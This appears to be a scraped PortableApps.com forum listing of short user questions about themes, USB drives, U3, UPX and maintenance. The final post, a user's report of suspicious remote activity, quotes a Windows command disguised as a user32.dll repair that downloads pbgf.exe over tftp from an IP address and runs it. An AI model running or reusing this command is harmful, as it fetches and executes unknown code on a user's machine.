General Discussion

dear sir,
I downloaded one theme from :
http://usb.smithtech.us/themes/pam/cute/index.php

When run the .exe file , I follow the instruction:

xtract to your \PortableApps\PortableAppsMenu\App\DefaultData\Theme directory

**I open folder "\App\DefaultData\Theme directory" in my USB drive

But the theme cannot display !? Where is the right path for the theme ?

Thx
Tommy

I use 2 portable USB 2.0 Notebook (2.5) Hard Drives, I don't know if it is the computer itself which came with Windows Vista, but when I run larger portable apps such as Firefox, the drives freeze up (steady red light on the case). I am also having trouble copying large folders. Anyone else have this issue with Vista?

I've been experimenting with tumblelogs recently and noticed that one of their features is the ability to import RSS feeds from other sites. Is it acceptable for me to import the https://portableapps.com/feeds/general feed?

Can you add a .swf file to the Portable Apps menu? Or is it ONLY .exe files?

I'm a newbie on PortableApps.com, so go easy on me. I have been reading a lot the last couple of days and have become a lot wiser considering portable applications although I have some blanks that still need to be filled in (for instance how to check if a portable app found on the internet is truly stealth). I have also started to try out different kind of USB menu's to see which one fits my needs.

I'm new to this...

Got me a drive... Runs U3. I added a few apps to it.

Now I found your package...

Does that replace the U3 stuff? I mean it's different and not compatable, righ?

I go U3 or Portable Apps, right?

How does the portable apps suite work, would it install to the U3 partition instead of the normal partition?

how do i compress a file from my application using upx after i've downloaded it???

With a lot of use writing/deleting on a hard disk one should defrag regularly. I have started using USB a lot and would be grateful to know what maintenance one should do.

While it is memory used; i imagine that a space is left by a deleted file and space not necessarily used by another. So fragmentation still occurs i would assume and shorten the life of a USB.

thanks

hi all,

i am new to all these. so i need a bit of help. i hv a toshiba gigabeat, 30 gb, which is a windows mobile based mp3 player. i wanted to install portableapps in it. so i extracted it to my desktop and then copied it to my player. but now when i try to open it nothing happens. i jst want to know the cause of the problem and if possible a way to fix it.

Dear support:

This may or may not be related to portableapps, but I have to ask and put this out there.

I was installing portableapp for the first time (the full install, not lite). Somewhere towards the end of the install (i.e. 45 minutes later), I noticed some activity happening on my laptop.

Some windows were opening up by themselves. My start menu opened, and this command was placed in the Start - > Run box and was about to be run:

%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 69.157.107.38 GET pbgf.exe & start pbgf&
